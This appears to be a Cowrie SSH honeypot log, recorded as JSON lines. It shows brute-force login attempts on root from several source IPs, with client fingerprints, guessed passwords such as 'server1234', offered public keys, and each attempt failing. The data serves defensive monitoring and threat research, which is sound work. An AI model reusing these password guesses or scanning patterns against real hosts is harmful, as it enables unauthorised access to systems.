{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:20:09.549647Z","src_ip":"171.25.158.82","session":"c7e37652a051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dr123456","message":"login attempt [root/Dr123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:20:10.224768Z","src_ip":"171.25.158.82","session":"c7e37652a051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:20:11.441234Z","src_ip":"171.25.158.82","session":"c7e37652a051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.34.59","src_port":8118,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aa893244aed","protocol":"ssh","message":"New connection: 103.161.34.59:8118 (10.17.0.5:22) [session: 3aa893244aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:08.346497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:08.351777Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:08.453066Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:5a:ad:d1:78:0e:1c:07:be:ed:cc:e0:73:bd:61:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQJ1AEmvBCdwY4YxXhsCSv9YqmCope4RSpbk3H/2adtykkNrLAdNFGh3Omc1zzTBbqqUTuz5J1xJsoCPaX8cAA7YIeObs9AWDxzeZop7cLUeRCkXs/+3lK7f54GJ9RfJ2j523u/z9d8Xtg1cSNeKjFzmRRJRTPwYCz5j/KxzYhIVDUR9aN85+MmUPdwuOIswYemci0gUVq8+GbOdjjf3hRyJCHR9hWFb+dns1gWwq/Ny0ejlbwsQoU/yDmyxiIoML7oVFvtHtHZ/5NkFlS8Fz8Dv+LoUhWjx1/yAzF/7t+LuoIT2qH3KSp1TFD/mBzR1MEn6ZvKxlFICl3TsE+NZMdV9BUllldgHVfRUCJcHBRgm1esUDwCQ5w+CoPS3OOxXn8GYzq7IV9yTIGfjY8AtNzLBB5/a+rKyDNZ8HZa0BXu58nVoZEWXInHbSfAAXPqtqjXl3Y+m/DtFJIaE3fu7/YNe81SXTFmxlY4jhA+ediofSYFrB+jMskK0P0LOe20rU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:5a:ad:d1:78:0e:1c:07:be:ed:cc:e0:73:bd:61:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:08.936704Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:5a:ad:d1:78:0e:1c:07:be:ed:cc:e0:73:bd:61:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQJ1AEmvBCdwY4YxXhsCSv9YqmCope4RSpbk3H/2adtykkNrLAdNFGh3Omc1zzTBbqqUTuz5J1xJsoCPaX8cAA7YIeObs9AWDxzeZop7cLUeRCkXs/+3lK7f54GJ9RfJ2j523u/z9d8Xtg1cSNeKjFzmRRJRTPwYCz5j/KxzYhIVDUR9aN85+MmUPdwuOIswYemci0gUVq8+GbOdjjf3hRyJCHR9hWFb+dns1gWwq/Ny0ejlbwsQoU/yDmyxiIoML7oVFvtHtHZ/5NkFlS8Fz8Dv+LoUhWjx1/yAzF/7t+LuoIT2qH3KSp1TFD/mBzR1MEn6ZvKxlFICl3TsE+NZMdV9BUllldgHVfRUCJcHBRgm1esUDwCQ5w+CoPS3OOxXn8GYzq7IV9yTIGfjY8AtNzLBB5/a+rKyDNZ8HZa0BXu58nVoZEWXInHbSfAAXPqtqjXl3Y+m/DtFJIaE3fu7/YNe81SXTFmxlY4jhA+ediofSYFrB+jMskK0P0LOe20rU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:08.940939Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:05:2a:9e:f0:ce:89:fc:59:39:9a:9a:e6:1c:6b:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb91BFDf4QJuaridaQUtaalN7ASp1LyINXQrHjR8TO2DnMBdtn2Q9hHMqKjtJ9wMPpdS2JqMREzM50Hvj4o6M62yxSPHZvd25tlE2hlJkbYwgEbqnAr3tAneldveQAnofbnPfjJR9WlDuYyLW2gakv7NasOB3jZ+0Cy82cS81r4FuqWpGynsJ4GqwkMAOdnxBPZzbifCPsi2ijDU9Fu2csldwqhyzzoEZWrv7X50s3OY5Vg13OKARx5Wy/aCXp4QIg0rz0gKa17jtIzArQ4dooRCb0Y9A2CDuarDTfH0ZQGDY1LdJwWCxjKXZfaBJCykAEfJAy0AINjSi0Ii6dMTtV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:05:2a:9e:f0:ce:89:fc:59:39:9a:9a:e6:1c:6b:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:09.042778Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:05:2a:9e:f0:ce:89:fc:59:39:9a:9a:e6:1c:6b:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb91BFDf4QJuaridaQUtaalN7ASp1LyINXQrHjR8TO2DnMBdtn2Q9hHMqKjtJ9wMPpdS2JqMREzM50Hvj4o6M62yxSPHZvd25tlE2hlJkbYwgEbqnAr3tAneldveQAnofbnPfjJR9WlDuYyLW2gakv7NasOB3jZ+0Cy82cS81r4FuqWpGynsJ4GqwkMAOdnxBPZzbifCPsi2ijDU9Fu2csldwqhyzzoEZWrv7X50s3OY5Vg13OKARx5Wy/aCXp4QIg0rz0gKa17jtIzArQ4dooRCb0Y9A2CDuarDTfH0ZQGDY1LdJwWCxjKXZfaBJCykAEfJAy0AINjSi0Ii6dMTtV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:09.047088Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:cb:b7:96:45:0a:72:3c:92:aa:9a:d1:07:ac:7f:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDvyNL/xmPB1rJdBCBW6JWSHbBHDyGgnl2LwKkSHgjR","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c1:cb:b7:96:45:0a:72:3c:92:aa:9a:d1:07:ac:7f:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:09.150891Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:cb:b7:96:45:0a:72:3c:92:aa:9a:d1:07:ac:7f:59","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDvyNL/xmPB1rJdBCBW6JWSHbBHDyGgnl2LwKkSHgjR","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:09.155788Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:65:53:37:fa:42:7c:6f:fa:da:4d:51:94:3c:18:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNvqUBdvPUfY0+pDVlfxpN8+NVSdkbHAwfFcg/cEW6Pphd4oO9TRJ9lEsXjb3Wp1njrnSoHWZNfmsZkRGj5st05e7EpBvXtbmZp2nhUWW8OPlNCMcNaD3o0xV5PDHR0lplrX79PQALLKJ6rtXIuhtDjM01zx/yXrhlsqobiLRpESB9VVS9zkwCCuSK38m24A+a3OsdQJxoUnhCrO1b7qM1l121pR9oUruw8/FNbW5c5AdwhT641X3D1edzfblIm8p3PxEBpyuzx5XA+GZ7IHTQsLG0QalXPO7n9fkLsGS3BCNB5L1ViM7IgmdfqDVUHxdx0gDJ0R6LUB3m2HzVwH11","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:65:53:37:fa:42:7c:6f:fa:da:4d:51:94:3c:18:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:09.258524Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:65:53:37:fa:42:7c:6f:fa:da:4d:51:94:3c:18:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNvqUBdvPUfY0+pDVlfxpN8+NVSdkbHAwfFcg/cEW6Pphd4oO9TRJ9lEsXjb3Wp1njrnSoHWZNfmsZkRGj5st05e7EpBvXtbmZp2nhUWW8OPlNCMcNaD3o0xV5PDHR0lplrX79PQALLKJ6rtXIuhtDjM01zx/yXrhlsqobiLRpESB9VVS9zkwCCuSK38m24A+a3OsdQJxoUnhCrO1b7qM1l121pR9oUruw8/FNbW5c5AdwhT641X3D1edzfblIm8p3PxEBpyuzx5XA+GZ7IHTQsLG0QalXPO7n9fkLsGS3BCNB5L1ViM7IgmdfqDVUHxdx0gDJ0R6LUB3m2HzVwH11","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:09.262014Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:ab:90:08:c3:da:a0:95:02:4e:7c:d6:22:78:55:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoz+JjCe9U0EjTrXCxllUgfh2gAo4JMF3yB7ebJ2AkNXmJU2rc/M1MZ9wMeAPHmVxA+QNbqZL1NiZYuNS5g1BNK6wpMID5yGJZ6d+8fIQM07Puy0N8/UVpEVoD8LA8wF+3sNg4gnng3t5U+AWhVEUcItSeVzU2RpVI+WltdV4Ecm+2RKzvhAqs94nlMa49qi7HLhvccb9+a78MhoXjfrpo0t6361k4krnH52br3OeUCGYBnJs2A5C0Wn5R685yeN3tqUKRiduE4NTE7th1DW62OE8dVpV9AVMV+CTEyEfMlNf05oZ5fj0nJsUAxOJBamG64kHcCKAcLiOyDoX44sk7wVwsNvPdxz8DJR2lDVsv42X020EHIjhzmyxZXkg7ms1IPbkAbcw2xqocxoGfGNKqtaHVAuG5mw7yV3KJPHlW7IB77oKxIM9s91HNi4ttoqVDEtNhawr43wVgQL6vPanLkGskYzejqhEUa47ICSRUtd0z53A88yW4QF4GxKatg8SnafnZgsDBN+RDh6x8ymfTnbgBsfatqJ490++hOky1hH/nwX072kb1+gjKGkyBVyx8KqFeRphqfjuiTw2IGsMiI2DrHRo22w7Ay6F/c6c/Ze9ioFH8MgxVCAUyO73FloRCFxQowg4Q64CTjh8756hsjdJqTu5qTr3QBnWruoJu4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:ab:90:08:c3:da:a0:95:02:4e:7c:d6:22:78:55:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:09.368660Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:ab:90:08:c3:da:a0:95:02:4e:7c:d6:22:78:55:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoz+JjCe9U0EjTrXCxllUgfh2gAo4JMF3yB7ebJ2AkNXmJU2rc/M1MZ9wMeAPHmVxA+QNbqZL1NiZYuNS5g1BNK6wpMID5yGJZ6d+8fIQM07Puy0N8/UVpEVoD8LA8wF+3sNg4gnng3t5U+AWhVEUcItSeVzU2RpVI+WltdV4Ecm+2RKzvhAqs94nlMa49qi7HLhvccb9+a78MhoXjfrpo0t6361k4krnH52br3OeUCGYBnJs2A5C0Wn5R685yeN3tqUKRiduE4NTE7th1DW62OE8dVpV9AVMV+CTEyEfMlNf05oZ5fj0nJsUAxOJBamG64kHcCKAcLiOyDoX44sk7wVwsNvPdxz8DJR2lDVsv42X020EHIjhzmyxZXkg7ms1IPbkAbcw2xqocxoGfGNKqtaHVAuG5mw7yV3KJPHlW7IB77oKxIM9s91HNi4ttoqVDEtNhawr43wVgQL6vPanLkGskYzejqhEUa47ICSRUtd0z53A88yW4QF4GxKatg8SnafnZgsDBN+RDh6x8ymfTnbgBsfatqJ490++hOky1hH/nwX072kb1+gjKGkyBVyx8KqFeRphqfjuiTw2IGsMiI2DrHRo22w7Ay6F/c6c/Ze9ioFH8MgxVCAUyO73FloRCFxQowg4Q64CTjh8756hsjdJqTu5qTr3QBnWruoJu4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:09.373146Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:09.475743Z","src_ip":"103.161.34.59","session":"3aa893244aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":33182,"dst_ip":"159.203.135.109","dst_port":22,"session":"1054d09d15d0","protocol":"ssh","message":"New connection: 87.251.79.125:33182 (159.203.135.109:22) [session: 1054d09d15d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:27.058014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:27.063409Z","src_ip":"87.251.79.125","session":"1054d09d15d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:27.136346Z","src_ip":"87.251.79.125","session":"1054d09d15d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nirvana1","message":"login attempt [root/nirvana1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:27.357411Z","src_ip":"87.251.79.125","session":"1054d09d15d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:28.433904Z","src_ip":"87.251.79.125","session":"1054d09d15d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":48666,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeedf372940b","protocol":"ssh","message":"New connection: 103.13.206.227:48666 (159.203.135.109:22) [session: aeedf372940b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:42.217389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:42.220955Z","src_ip":"103.13.206.227","session":"aeedf372940b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:42.508237Z","src_ip":"103.13.206.227","session":"aeedf372940b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server1234","message":"login attempt [root/server1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:43.483214Z","src_ip":"103.13.206.227","session":"aeedf372940b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":60264,"dst_ip":"159.203.135.109","dst_port":22,"session":"81cf2bbbbcf6","protocol":"ssh","message":"New connection: 171.25.158.82:60264 (159.203.135.109:22) [session: 81cf2bbbbcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:43.713390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:43.719040Z","src_ip":"171.25.158.82","session":"81cf2bbbbcf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:43.829896Z","src_ip":"171.25.158.82","session":"81cf2bbbbcf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server1234","message":"login attempt [root/server1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:44.339018Z","src_ip":"171.25.158.82","session":"81cf2bbbbcf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:44.722904Z","src_ip":"103.13.206.227","session":"aeedf372940b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:45.506735Z","src_ip":"171.25.158.82","session":"81cf2bbbbcf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":47442,"dst_ip":"159.203.135.109","dst_port":22,"session":"2eae8824fdd5","protocol":"ssh","message":"New connection: 193.37.70.224:47442 (159.203.135.109:22) [session: 2eae8824fdd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:21:53.172929Z"}
